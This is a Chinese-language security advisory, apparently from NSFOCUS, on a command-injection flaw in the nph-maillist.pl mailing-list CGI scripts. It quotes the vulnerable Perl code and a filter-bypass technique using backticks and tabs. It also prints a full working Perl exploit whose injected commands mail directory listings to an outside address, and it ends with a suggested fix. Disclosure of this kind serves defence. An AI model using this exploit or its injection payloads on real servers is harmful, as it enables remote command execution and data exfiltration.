首页 -> 安全研究

安全研究

安全漏洞
nph-maillist.pl[cgi] 字符过滤漏洞

发布日期:2001-04-13
更新日期:2001-04-13

受影响系统:

nph-maillist.pl[cgi] 版本 3.0、3.5
描述:

邮件列表生成器是以 web 作界面的脚本,它使得
站点访问者可以留下自己的电子邮件地址,以便
在站点更新时可以得到通知。

这个脚本也提供功能,使得用户可以从 web 浏览
器来新建或修改他/她要发送的消息,消息将发向
邮件列表中列出的地址。还可以用它来维护已创
建的邮件列表。

脚本有两个部分:nph-maillist.pl 承担 web 界
面部分的所有功能;mailengine.pl 在后台运行,
直到所有列出的要发的邮件都发出为止。

在 mailengine.pl 脚本中有如下一段编码:

$mailprog="/usr/sbin/sendmail";
$mailfile = "mail.txt";
open (BSS, $mailfile) || die "Cannot open $mailfile";
@mailf = <BSS>;
close (BSS);
foreach $SIZE (@mailf) {
  $SIZE =~ s/\n//g;
  open (MAIL, "|$mailprog $SIZE") || die "Cannot open $mailprog";

其中 $mailfile 变量是存有邮件地址的文件(不
是 PostgreSql 格式)。如果我们发送象下面这样
的邮件地址:

urabura@matura.pl ;ls -al /etc|mail root@bigbrother.pl

把它送给 mailengine.pl,我们就可以执行命令。

再看 maillist.pl,它有下面的一段编码:

if ($FORM{'emailaddress'} !~ /\@/) { &bad_email();}
if ($FORM{'emailaddress'} !~ /\./) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\ /) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\)/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\(/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\:/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\//) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\\/) { &bad_email();}
if ($FORM{'emailaddress'} =~ /\http:/) { &bad_email();}

其中 emailaddress 是贴上去的邮件地址。我们
必须加上 '@' 和 '.' 字符,这没有问题。我们
喜欢 ' '、'\'、'/' 这些字符,但我们不能使用
它们。脚本作者没有处理 '`' 这个字符,因此我
们可以把命令中的 '/' 换为

   `head -n1 nph-maillist.pl|cut -c3`

我们不能使用空格字符,但我们可以使用 '\t'。
因此,如果我们把 '/' 换成

   `head\t-n1\tnph-maillist.pl|cut\t-c3`

nph-maillist.cgi 就能接受它了。一旦把 '/'
换成别的,就可以把任何"坏"字符换成能被
nph-maillist.cgi 接受的字符了。

<* 来源:Matt Tourtillott (mrt@marketrends.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


#!/usr/bin/perl
# nph-maillist hack... Kanedaaa [ kaneda@ac.pl ]
# its add crazy @email, sends mails, and execute our code of coz ;]
#
# greetzzz to all of Bohatery... [Breslau Kilerz, Lam3rz, my Mom,
# dog, hamster... maybe this is not hamster..., wine, SobiechOS,
# wine, Cucumber Team Members... yeah. i must go sleep. ;]
# and #phreakpl, #hackingpl :]
#
# .remember thats just simple sploit... You cant play in koules
# this.. ;]
use Socket;

# Ip...
$ip="127.0.0.1";

# Command to run ...
$command = 'ls -al|mail ssie@bigbrother.pl';

#################################################
if (!$ARGV[0]) {
  print "....nph-maillist hack... Kanedaaa  [kaneda\@ac.pl]\n";
  print ".........Use the force, edit source...[ ip & command ]\n";
  print "\n";
  print "1:./nph-maillist-ogorek.pl send - add our special \@email to the list.\n";
  print "2:./nph-maillist-ogorek.pl hack - sends emails from list and execute our code.\n";
}

if ($ARGV[0] eq "send") { &send }
if ($ARGV[0] eq "hack") { &hack }

sub send
{
###########################################
# You cant add this BAD chars... but we can hack this ;]
#" " ")" "(" ":" "/" "\" "http:"
###########################################
# Hack the "/" problem... change "/" ->
#   `head -n1 nph-maillist.pl|cut -c3`
  $command =~ s/\//`head -n1 nph-maillist.pl|cut -c3`/g;
#
# Hack the ":" problem... change ":" ->
#   `grep ntent-type nph-maillist.pl|tail -n1| \
#       awk -F "type" {'print $2'}|cut -c1`
#
  $command =~ s/:/`grep ntent-type nph-maillist.pl|tail -n1| \
              awk -F "type" {'print \$2'}|cut -c1`/g;
#
# Hack the "\" problem... change "\" ->
#   `grep BGCOLOR nph-maillist.pl|tail -n1| \
#       awk -F "=" {'print \$2'}|cut -c1`
#
  $command =~ s/\\/`grep BGCOLOR nph-maillist.pl|tail -n1| \
              awk -F "=" {'print \$2'}|cut -c1`/g;
#
# Hack the "(" problem... change "(" ->
#   `grep scalar nph-maillist.pl|tail -n1| \
#       awk -F "scalar" {'print \$2'}|cut -c1`
#
  $command =~ s/\(/`grep scalar nph-maillist.pl|tail -n1| \
              awk -F "scalar" {'print \$2'}|cut -c1`/g;
#
# Hack the ")" problem... change ")" ->
#   `grep unlink nph-maillist.pl| \
#       awk -F "jobx" {'print \$2'}|cut -c1`
#
  $command =~ s/\)/`grep unlink nph-maillist.pl| \
              awk -F "jobx" {'print \$2'}|cut -c1`/g;


###
# Change ascii to hex...
  $command =~ s/([^\w\!*-])/sprintf("%%%02X",ord($1))/ge;
#
# Hack the " " problem... change " " -> "\t" [TAB]
  $command =~ s/%20/%09/g;

  $r = int(rand(100000));
  $command = "$r\@bigbrother.pl;".$command;

  $parms="emailaddress=$command";
  $tosend="GET /cgi-bin/nph-maillist.pl?$parms HTTP/1.0\r\n".
  "Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";

  print sendraw($tosend);
  print "If server return some ...adding %trash% to the email list...\n";
  print "Now run with hack parametr...Peace\n";
}

sub hack
{
  $tosend="GET /cgi-bin/mailengine.pl HTTP/1.0\r\n".
  "Referer: http://$ip/cgi-bin/nph-maillist.pl\r\n\r\n";

  print sendraw($tosend);
  print "... Theoretical You are haker... \n";
}

#####################################################
# Ripped from some RFP code... :]]  I will infuse good Tea
# for You...
# I`am the best Infuser of Tea in .pl ... :]
sub sendraw {
  my ($pstr)=@_; my $target;
  $target= inet_aton($ip) || die("inet_aton problems");
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
        die("Socket problems\n");
  if(connect(S,pack "SnA4x8",2,80,$target)){
    select(S);              $|=1;
    print $pstr;            my @in=<S>;
    select(STDOUT);         close(S);
    return @in;
  } else { die("Can't connect...\n"); }
}


建议:
临时解决办法:

  NSFOCUS建议您改写脚本过滤掉 '`' 字符。

厂商补丁:

  暂无


浏览次数:4441
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障